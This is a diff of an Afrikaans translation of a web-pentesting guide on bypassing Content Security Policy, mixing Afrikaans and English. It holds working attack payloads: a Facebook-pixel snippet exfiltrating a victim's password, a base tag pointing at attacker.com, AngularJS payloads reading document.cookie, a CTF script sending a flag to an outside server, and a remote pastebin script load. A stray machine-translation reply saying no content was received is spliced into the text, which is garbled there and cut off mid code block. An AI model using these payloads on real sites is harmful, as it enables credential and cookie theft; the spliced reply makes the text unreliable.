-6. Kies die tab "Test Events" om die gebeurtenisse te sien wat deur "u" webwerf gestuur word.
+1. Skep 'n Facebook Developer account hier.
+2. Skep 'n nuwe "Facebook Login" app en kies "Website".
+3. Gaan na "Settings -> Basic" en kry jou "App ID"
+4. Op die target site waarvan jy data wil exfiltrate, kan jy data exfiltrate deur direk die Facebook SDK gadget "fbq" te gebruik via 'n "customEvent" en die data payload.
+5. Gaan na jou App "Event Manager" en kies die toepassing wat jy geskep het (let wel: die event manager kan in 'n URL soos hierdie gevind word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
+6. Kies die tab "Test Events" om die events te sien wat deur "jou" web site gestuur word.
 
-Dan, aan die kant van die slagoffer, voer u die volgende kode uit om die Facebook-opsporing pixel te initialiseer om na die aanvaller se Facebook ontwikkelaar rekening app-id te wys en 'n aangepaste gebeurtenis soos volg uit te reik:
+Dan, aan die victim-kant, voer jy die volgende code uit om die Facebook tracking pixel te initialiseer sodat dit na die attacker's Facebook developer account app-id wys en 'n custom event uitstuur soos volg:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
 });
 ```
-Wat die ander sewe derdeparty-domeine betref wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige [blog pos](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir addisionele verduidelikings oor ander derdeparty-misbruik.
+Wat die ander sewe derdeparty-domeine in die vorige tabel betref, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die eerdergenoemde [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir bykomende verduidelikings oor ander misbruike van derdeparty-domeine.
 
 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 
-Benewens die bogenoemde herleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relative Path Overwrite (RPO) wat op sommige bedieners gebruik kan word.
+Benewens die hiervoor genoemde omleiding om padbeperkings te bypass, is daar 'n ander tegniek genaamd Relative Path Overwrite (RPO) wat op sommige bedieners gebruik kan word.
 
-Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan dit soos volg omgegaan word:
+Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan dit soos volg bypass word:
 ```html
 <script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
 ```
-Die blaaiers sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
+Die blaaier sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
 
-Dit werk omdat jy vir die blaaiers 'n lêer met die naam `..%2fangular%2fangular.js` laai wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
+Dit werk omdat die blaaier `..%2fangular%2fangular.js` laai wat onder `https://example.com/scripts/react/` geleë is, wat in ooreenstemming met CSP is.
 
-∑, hulle sal dit decodeer, wat effektief `https://example.com/scripts/react/../angular/angular.js` versoek, wat gelyk is aan `https://example.com/scripts/angular/angular.js`.
+Sodra dit gedekodeer word, versoek dit effektief `https://example.com/scripts/react/../angular/angular.js`, wat ekwivalent is aan `https://example.com/scripts/angular/angular.js`.
 
-Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaier en die bediener te benut, kan die padreëls omseil word**.
+Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaaier en die bediener te benut, kan die padreëls omseil word**.
 
-Die oplossing is om nie `%2f` as `/` aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaier en die bediener verseker om hierdie probleem te vermy.
+Die oplossing is om `%2f` nie as `/` aan die bedienerkant te behandel nie, en sodoende 'n konsekwente interpretasie tussen die blaaier en die bediener te verseker om hierdie probleem te vermy.
 
-Aanlyn Voorbeeld:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
+Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
 
-### Iframes JS uitvoering
+### Iframes JS execution
 
 
 {{#ref}}
 ../xss-cross-site-scripting/iframes-in-xss-and-csp.md
 {{#endref}}
 
-### ontbrekende **base-uri**
+### Ontbrekende **base-uri**
 
-As die **base-uri** riglyn ontbreek, kan jy dit misbruik om 'n [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) uit te voer.
+As die **base-uri** directive ontbreek kan jy dit misbruik om 'n [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) uit te voer.
 
-Boonop, as die **bladsy 'n skrif laai met 'n relatiewe pad** (soos `<script src="/js/app.js">`) met 'n **Nonce**, kan jy die **base** **tag** misbruik om dit **te laat** laai die skrif van **jou eie bediener wat 'n XSS bereik.**\
-As die kwesbare bladsy met **httpS** gelaai word, gebruik 'n httpS-URL in die basis.
+Verder, as die **page is loading a script using a relative path** (soos `<script src="/js/app.js">`) wat 'n **Nonce** gebruik, kan jy die **base** **tag** misbruik om dit te laat **load** die script vanaf **jou own server achieving a XSS.**\
+As die kwesbare bladsy met **httpS** gelaai word, gebruik 'n httpS url in die base.
 ```html
 <base href="https://www.attacker.com/" />
 ```
 ### AngularJS gebeurtenisse
 
-'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel persoonlike gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat na die inheemse blaaiers gebeurtenis objek verwys. Hierdie `$event` objek kan benut word om die CSP te omseil. Opmerklik, in Chrome, het die `$event/event` objek 'n `path` attribuut, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die `window` objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.
+'n Spesifieke beleid, bekend as Content Security Policy (CSP), kan JavaScript-gebeure beperk. Desondanks bied AngularJS aangepaste gebeure as 'n alternatief. Binne 'n gebeurtenis voorsien AngularJS die unieke objek `$event`, wat na die native browser event-objek verwys. Hierdie `$event`-objek kan uitgebuit word om die CSP te omseil. Opmerkingswaardig is dat in Chrome die `$event/event`-objek 'n `path`-attribuut het, wat 'n array van objekte bevat wat betrokke is by die uitvoerketting van die gebeurtenis, met die `window`-objek altyd aan die einde. Hierdie struktuur is deurslaggewend vir sandbox escape-taktieke.
 
-Deur hierdie array na die `orderBy` filter te rig, is dit moontlik om oor dit te herhaal, en die terminale element (die `window` objek) te benut om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kode-snippet hieronder verduidelik hierdie proses:
+Deur hierdie array na die `orderBy`-filter te rig, is dit moontlik om dit te deurloop en die finale element (die `window`-objek) te gebruik om 'n globale funksie soos `alert()` te aktiveer. Die onderstaande voorbeeld-kode verduidelik hierdie proses:
 ```xml
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 ```
-Hierdie snit beklemtoon die gebruik van die `ng-focus` riglyn om die gebeurtenis te aktiveer, deur `$event.path|orderBy` te gebruik om die `path` array te manipuleer, en die `window` objek te benut om die `alert()` funksie uit te voer, wat `document.cookie` onthul.
+Hierdie snippet beklemtoon die gebruik van die `ng-focus` direktief om die gebeurtenis te aktiveer, gebruik `$event.path|orderBy` om die `path`-reeks te manipuleer, en benut die `window`-objek om die `alert()`-funksie uit te voer, sodoende `document.cookie` te openbaar.
 
-**Vind ander Angular omseilings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+**Vind ander Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 
-### AngularJS en gewhitelistde domein
+### AngularJS en whitelisted domain
 ```
 Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 ```
-'n CSP-beleid wat domeine vir skriplaai in 'n Angular JS-toepassing witlys, kan omseil word deur die aanroep van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek kan gevind word in 'n gedetailleerde gids beskikbaar op hierdie [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
+’n CSP-beleid wat domeine vir script loading in ’n Angular JS-toepassing op ’n witlys plaas, kan omseil word deur die aanroep van callback functions en sekere kwesbare classes. Verdere inligting oor hierdie tegniek is beskikbaar in ’n gedetailleerde gids op hierdie [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
 
 Werkende payloads:
 ```html
@@ -399,13 +398,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 <!-- no longer working -->
 <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
 ```
-Ander JSONP arbitrêre uitvoerings eindpunte kan gevind word in [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (sommige van hulle is verwyder of reggestel)
+Ander JSONP arbitrary execution endpoints kan gevind word in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (sommige daarvan is verwyder of reggemaak)
 
-### Bypass deur Hergidsering
+### Bypass via Redirection
 
-Wat gebeur wanneer CSP server-kant hergidsering teëkom? As die hergidsering na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.
+Wat gebeur wanneer CSP 'n bedienerkant-omleiding teëkom? As die omleiding na 'n ander origin lei wat nie toegelaat word nie, sal dit steeds misluk.
 
-E however, volgens die beskrywing in [CSP spesifikasie 4.2.2.3. Paaie en Hergidserings](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), as die hergidsering na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.
+Volgens die beskrywing in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), kan 'n omleiding wat na 'n ander pad lei, egter die oorspronklike beperkings omseil.
 
 Hier is 'n voorbeeld:
 ```html
@@ -425,68 +424,69 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 </body>
 </html>
 ```
-As CSP op `https://www.google.com/a/b/c/d` gestel is, sal beide `/test` en `/a/test` skripte deur CSP geblokkeer word.
+As CSP gestel is op `https://www.google.com/a/b/c/d`, aangesien die pad in ag geneem word, sal beide `/test` en `/a/test` skripte deur CSP geblokkeer word.
 
-E however, die finale `http://localhost:5555/301` sal **op die bediener-kant herlei word na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Aangesien dit 'n herleiding is, word die **pad nie oorweeg nie**, en die **skrip kan gelaai word**, wat die padbeperking omseil.
+Die finale `http://localhost:5555/301` sal egter **op die server-side herlei word na `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Aangesien dit 'n herleiding is, word die **pad nie in ag geneem nie**, en die **skrip kan gelaai word**, wat dus die padbeperking omseil.
 
-Met hierdie herleiding, selfs al is die pad heeltemal gespesifiseer, sal dit steeds omseil word.
+Met hierdie herleiding sal dit, selfs as die pad volledig gespesifiseer is, steeds omseil word.
 
-Daarom is die beste oplossing om te verseker dat die webwerf geen oop herleiding kwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.
+Daarom is die beste oplossing om te verseker dat die webwerf geen open redirect kwesbaarhede het nie en dat daar geen domeine in die CSP-reëls is wat misbruik kan word nie.
 
-### Om CSP te omseil met hangende markup
+### Bypass CSP with dangling markup
 
-Lees [hoe hier](../dangling-markup-html-scriptless-injection/index.html).
+Lees [hier hoe](../dangling-markup-html-scriptless-injection/index.html).
 
 ### 'unsafe-inline'; img-src \*; via XSS
 ```
 default-src 'self' 'unsafe-inline'; img-src *;
 ```
-`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige beeld van enige bron op die webblad kan gebruik.
+`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy op die webblad enige beeld van enige bron kan gebruik.
 
-Jy kan hierdie CSP omseil deur die data via beelde te exfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en die vlag via 'n beeld onttrek):
+Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en ekstraheer die flag via 'n beeld):
 ```javascript
 <script>
 fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
 Image().src='http://PLAYER_SERVER/?'+_)
 </script>
 ```
-From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
+Van: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 
-Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan **'n spesiale beeld maak**, dit **oplaai** na Twitter en die "**unsafe-inline**" misbruik om **'n JS kode** (soos 'n gewone XSS) uit te voer wat die **beeld** sal **laai**, die **JS** daarvan sal **onttrek** en **dit** sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Jy kan hierdie konfigurasie ook misbruik om **javascript code wat in 'n beeld ingevoeg is, te laai**. As die blad byvoorbeeld toelaat om beelde vanaf Twitter te laai, kan jy 'n **spesiale beeld** **maak**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om 'n JS-kode (soos 'n gewone XSS) uit te **voer** wat die **beeld** sal **laai**, die **JS** daaruit **uittrek** en dit **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 
-### Met Dienswerkers
+### Met Service Workers
+
+Service workers se **`importScripts`** funksie word nie deur CSP beperk nie:
 
-Dienswerkers **`importScripts`** funksie is nie beperk deur CSP nie:
 
 {{#ref}}
 ../xss-cross-site-scripting/abusing-service-workers.md
 {{#endref}}
 
-### Beleid Inspuiting
+### Beleidsinjeksie
 
 **Navorsing:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
 
 #### Chrome
 
-As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **onbruikbaar** maak. Jy kan **script 'unsafe-inline'** met enige van hierdie omseilings **toelaat**:
+As 'n **parameter** wat deur jou gestuur word in die **verklaring** van die **beleid** ingevoeg word, kan jy die **beleid** op 'n manier **verander** wat dit **onbruikbaar** maak. Jy kan **allow script 'unsafe-inline'** kry met enige van hierdie omseilings:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 ```
-Omdat hierdie riglyn **bestaande script-src riglyne sal oorskryf**.\
+Omdat hierdie directive die bestaande script-src directives sal **oorskryf**.\
 Jy kan 'n voorbeeld hier vind: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 
 #### Edge
 
-In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan voeg: **`;_`** **Edge** sal die hele **beleid** **verwerp**.\
-Voorbeeld: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
+In Edge is dit baie eenvoudiger. As jy net dit in die CSP kan voeg: **`;_`** sal **Edge** die hele **beleid** verwerp.\
+Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 
 ### img-src \*; via XSS (iframe) - Tydaanval
 
-Let op die gebrek aan die riglyn `'unsafe-inline'`\
-Hierdie keer kan jy die slagoffer **dwing** om 'n bladsy in **jou beheer** te laai via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer laat toegang hê tot die bladsy waarvandaan jy inligting wil onttrek (**CSRF**). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die **tyd wat die bladsy nodig het om te laai** kan **beheer**, kan jy die inligting wat jy nodig het onttrek.
+Let op die gebrek aan die direktief `'unsafe-inline'`\
+Hierdie keer kan jy die slagoffer laat **laai** 'n bladsy onder **jou beheer** via **XSS** met 'n `<iframe`. Hierdie keer gaan jy die slagoffer laat toegang kry tot die bladsy waarvan jy inligting wil onttrek (**CSRF**). Jy kan nie toegang tot die inhoud van die bladsy kry nie, maar as jy op een of ander manier die **tyd wat die bladsy nodig het om te laai** kan beheer, kan jy die inligting wat jy nodig het onttrek.
 
-Hierdie keer gaan 'n **vlag** onttrek word, wanneer 'n **karakter korrek geraai** word via SQLi neem die **antwoord** **meer tyd** weens die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
+Hierdie keer gaan 'n **flag** onttrek word; elke keer wanneer 'n **char korrek geraai** word via SQLi neem die **antwoord** **meer tyd** as gevolg van die sleep-funksie. Dan sal jy die flag kan onttrek:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@@ -548,22 +548,22 @@ run()
 ```
 ### Via Bookmarklets
 
-Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller **die gebruiker oortuig om 'n skakel oor die bladmerk van die blaaier te sleep en te laat val**. Hierdie bladmerk sou **kwaadwillige javascript** kode bevat wat, wanneer dit gesleep en laat val of geklik word, in die konteks van die huidige webvenster uitgevoer sou word, **CSP omseil en toelaat om sensitiewe inligting** soos koekies of tokens te steel.
+Hierdie aanval behels sosiale ingenieurskap waar die aanvaller die gebruiker **oortuig om 'n skakel oor die bookmarklet van die blaaier te sleep en neer te laat**. Hierdie bookmarklet sal **kwaadaardige javascript** kode bevat wat wanneer drag\&dropped of geklik word in die konteks van die huidige webvenster uitgevoer word, **CSP omseil en toelaat dat sensitiewe inligting** soos cookies of tokens gesteel word.
 
-Vir meer inligting [**kyk die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
+Vir meer inligting [**kyk na die oorspronklike verslag hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
-### CSP omseiling deur CSP te beperk
+### CSP-omseiling deur CSP te beperk
 
-In [**hierdie CTF-skrywe**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omgegaan deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verbied het wat, dan, via **prototype pollution** of **dom clobbering** toegelaat het om **'n ander skrip te misbruik om 'n arbitrêre skrip te laai**.
+In [**hierdie CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), word CSP omseil deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS file verhoed het wat, dan, via **prototype pollution** of **dom clobbering** toegelaat het om **'n ander script te misbruik om 'n arbitrêre script te laai**.
 
-Jy kan **'n CSP van 'n Iframe beperk** met die **`csp`** attribuut:
+Jy kan **die CSP van 'n Iframe beperk** met die **`csp`** attribute:
 ```html
 <iframe
 src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
-In [**hierdie CTF skrywe**](https://github.com/aszx87410/ctf-writeups/issues/48), was dit moontlik via **HTML inspuiting** om 'n **CSP** meer te **beperk** sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die **kwesbaarheid uitvoerbaar geword.**\
-CSP kan meer beperkend gemaak word deur **HTML meta-tags** te gebruik en inline skripte kan gedeaktiveer word deur die **invoer** wat hul **nonce** toelaat, te **verwyder** en **spesifieke inline skrip via sha** te aktiveer:
+In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), dit was moontlik via **HTML injection** om 'n **CSP** verder te **beperk**, sodat 'n script wat CSTI voorkom gedeaktiveer is en gevolglik die **kwetsbaarheid uitgebuit kon word.**\
+CSP kan meer beperkend gemaak word deur **HTML meta tags** en inline scripts kan gedeaktiveer word deur die **verwydering** van die **inskrywing** wat hul **nonce** toelaat en **enable specific inline script via sha**:
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@@ -572,51 +572,69 @@ content="script-src 'self'
 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
 ```
-### JS eksfiltrasie met Content-Security-Policy-Report-Only
+### JS exfiltration with Content-Security-Policy-Report-Only
 
-As jy daarin slaag om die bediener te laat reageer met die koptekst **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die **JS-inhoud** wat jy wil eksfiltreer met **`<script>`** omhul en omdat dit hoogs waarskynlik `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP-fout** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf `Content-Security-Policy-Report-Only`.
+Indien jy daarin slaag om die server te laat reageer met die kopstuk **`Content-Security-Policy-Report-Only`** met 'n **waarde wat deur jou beheer word** (miskien as gevolg van 'n CRLF), kan jy dit na jou server laat wys, en as jy die **JS content** wat jy wil exfiltrate met **`<script>`** omsluit, en aangesien dit hoogs waarskynlik is dat `unsafe-inline` nie deur die CSP toegelaat word nie, sal dit 'n **CSP error** veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) na die server gestuur word deur `Content-Security-Policy-Report-Only`.
 
-Vir 'n voorbeeld [**kyk na hierdie CTF-skrywe**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
+Vir 'n voorbeeld [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 
 ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 ```javascript
 document.querySelector("DIV").innerHTML =
 '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
 ```
-### Inligting Lek met CSP en Iframe
+### Leaking Inligting met CSP en Iframe
 
 - 'n `iframe` word geskep wat na 'n URL wys (kom ons noem dit `https://example.redirect.com`) wat deur CSP toegelaat word.
-- Hierdie URL lei dan na 'n geheime URL (bv. `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
-- Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waarnatoe die aanvanklike URL omgelei het.
+- Hierdie URL herlei dan na 'n geheime URL (bv., `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP.
+- Deur na die `securitypolicyviolation` event te luister, kan mens die `blockedURI` property vang. Hierdie property openbaar die domein van die geblokkeerde URI, leaking die geheime domein waarheen die aanvanklike URL herlei het.
 
-Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële lek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
+Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedragspatrone het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die blootstelling van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
 
-'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode maak staat op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat doelbewus geblokkeer is. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-riglyn aan te pas om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n snit wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
+Nog 'n tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode berus op 'n binaire soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-direktief te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n snip wat wys hoe die CSP opgestel kan word om hierdie metode te vergemaklik:
 ```markdown
 img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 ```
-Deur te monitor watter versoeke geblokkeer of toegelaat word deur die CSP, kan 'n mens die moontlike karakters in die geheime subdomein beperk, wat uiteindelik die volle URL onthul.
+Deur te monitor watter requests deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk en uiteindelik die volledige URL ontbloot.
 
-Albei metodes benut die nuanses van CSP-implementering en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide per ongeluk sensitiewe inligting kan lek.
+Beide metodes benut die nuanses van CSP-implementering en -gedrag in blaaiers, en toon hoe skynbaar veilige beleide per ongeluk kan leak sensitiewe inligting.
 
 Trick from [**here**](https://ctftime.org/writeup/29310).
 
-## Onveilige Tegnologieë om CSP te Bypass
+## Onveilige tegnologieë om CSP te omseil
 
-### PHP Foute wanneer te veel params
+### PHP-foute wanneer te veel params
 
-Volgens die [**laaste tegniek kommentaar in hierdie video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), om te veel parameters te stuur (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 lêers kan doen). Enige gedefinieerde **`header()`** in die PHP webkode **sal nie gestuur word** weens die fout wat dit sal veroorsaak nie.
+Volgens die [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), stuur te veel parameters (1001 GET parameters alhoewel jy dit ook met POST params en meer as 20 files kan doen). Enige gedefinieerde **`header()`** in die PHP-webkode **won't be sent** weens die fout wat dit sal veroorsaak.
 
-### PHP antwoordbuffer oorlaai
+### PHP response buffer overload
 
-PHP is bekend vir **buffering die antwoord tot 4096** bytes per standaard. Daarom, as PHP 'n waarskuwing toon, deur **genoeg data binne waarskuwings** te verskaf, sal die **antwoord** **gestuur** word **voor** die **CSP header**, wat veroorsaak dat die header geïgnoreer word.\
-Dan bestaan die tegniek basies uit **die antwoordbuffer met waarskuwings te vul** sodat die CSP header nie gestuur word nie.
+PHP is bekend daarvoor dat dit die response na 4096 bytes standaard buffer. Daarom, as PHP 'n waarskuwing vertoon, kan die response deur voldoende data in waarskuwings te plaas, **sent** word **before** die **CSP header**, wat veroorsaak dat die header geïgnoreer word.\
+Die tegniek bestaan basies daarin om die response-buffer met waarskuwings te vul sodat die CSP-header nie gestuur word nie.
 
 Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 
-### Herskryf Foutbladsy
+### Kill CSP via max_input_vars (headers already sent)
 
-Van [**hierdie writeup**](https://blog.ssrf.kr/69) lyk dit of dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en sy inhoud te herskryf.
+Omdat headers voor enige output gestuur moet word, kan waarskuwings wat deur PHP uitgegee word latere `header()`-aanroepe ongeldig maak. As gebruikersinvoer `max_input_vars` oorskry, gooi PHP eers 'n startup warning; enige volgende `header('Content-Security-Policy: ...')` sal misluk met “headers already sent”, wat effektief CSP deaktiveer en andersins-geblokkeerde reflective XSS toelaat.
+```php
+<?php
+header("Content-Security-Policy: default-src 'none';");
+echo $_GET['xss'];
+```
+Ek het geen inhoud ontvang om te vertaal nie. Plak asseblief die inhoud van src/pentesting-web/content-security-policy-csp-bypass/README.md wat jy wil hê ek moet vertaal, dan vertaal ek dit na Afrikaans volgens die gegewe riglyne.
+```bash
+# CSP in place → payload blocked by browser
+curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
+
